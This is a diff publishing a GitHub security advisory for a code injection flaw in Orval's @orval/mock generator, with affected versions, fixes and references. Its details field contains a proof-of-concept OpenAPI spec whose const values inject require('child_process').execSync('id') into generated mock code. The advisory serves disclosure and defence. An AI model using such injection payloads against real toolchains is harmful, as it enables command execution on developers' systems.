Publish GHSA-f456-rf33-4626

Author: advisory-database[bot]

advisories/github-reviewed/2026/01/GHSA-f456-rf33-4626/GHSA-f456-rf33-4626.json

@@ -0,0 +1,106 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-f456-rf33-4626",
+  "modified": "2026-01-22T18:09:13Z",
+  "published": "2026-01-22T18:09:13Z",
+  "aliases": [],
+  "summary": "Orval Mock Generation Code Injection via const",
+  "details": "I am reporting a code injection vulnerability in Orval’s mock generation pipeline affecting @orval/mock in both the 7.x and 8.x series. This issue is related in impact to the previously reported enum x-enumDescriptions (https://github.com/advisories/GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core.\n\nThe vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. I have confirmed that this occurs on orval@7.19.0 and orval@8.0.2 with mock: true, and that the generated mocks contain executable payloads such as require('child_process').execSync('id') in the output TypeScript.\n\n```yaml\nopenapi: 3.1.0\ninfo:\n  title: Mock Const Injection PoC\n  version: 1.0.0\npaths:\n  /test:\n    get:\n      operationId: getTests\n      responses:\n        '200':\n          description: OK\n          content:\n            application/json:\n              schema:\n                $ref: '#/components/schemas/Tests'\ncomponents:\n  schemas:\n    Tests:\n      type: object\n      properties:\n        EvilString:\n          type: string\n          const: \"'); require('child_process').execSync('id'); //\"\n        EvilNumber:\n          type: number\n          const: \"0); require('child_process').execSync('id'); //\"\n        SafeEnum:\n          type: string\n          enum: [\"test\"]\n\n```",
+  "severity": [
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "@orval/mock"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "7.20.0"
+            }
+          ]
+        }
+      ]
+    },
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "@orval/mock"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "8.0.0-rc.0"
+            },
+            {
+              "fixed": "8.0.3"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-f456-rf33-4626"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/pull/2828"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/pull/2829"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/pull/2830"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/commit/44ca8c1f5f930a3e4cefb6b79b38bcde7f8532a5"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/commit/6d8ece07ccb80693ad43edabccb3957aceadcd06"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/commit/9b211cddc9f009f8a671e4ac5c6cb72cd8646b62"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/orval-labs/orval"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/releases/tag/v7.20.0"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/releases/tag/v8.0.3"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-77"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": true,
+    "github_reviewed_at": "2026-01-22T18:09:13Z",
+    "nvd_published_at": null
+  }
+}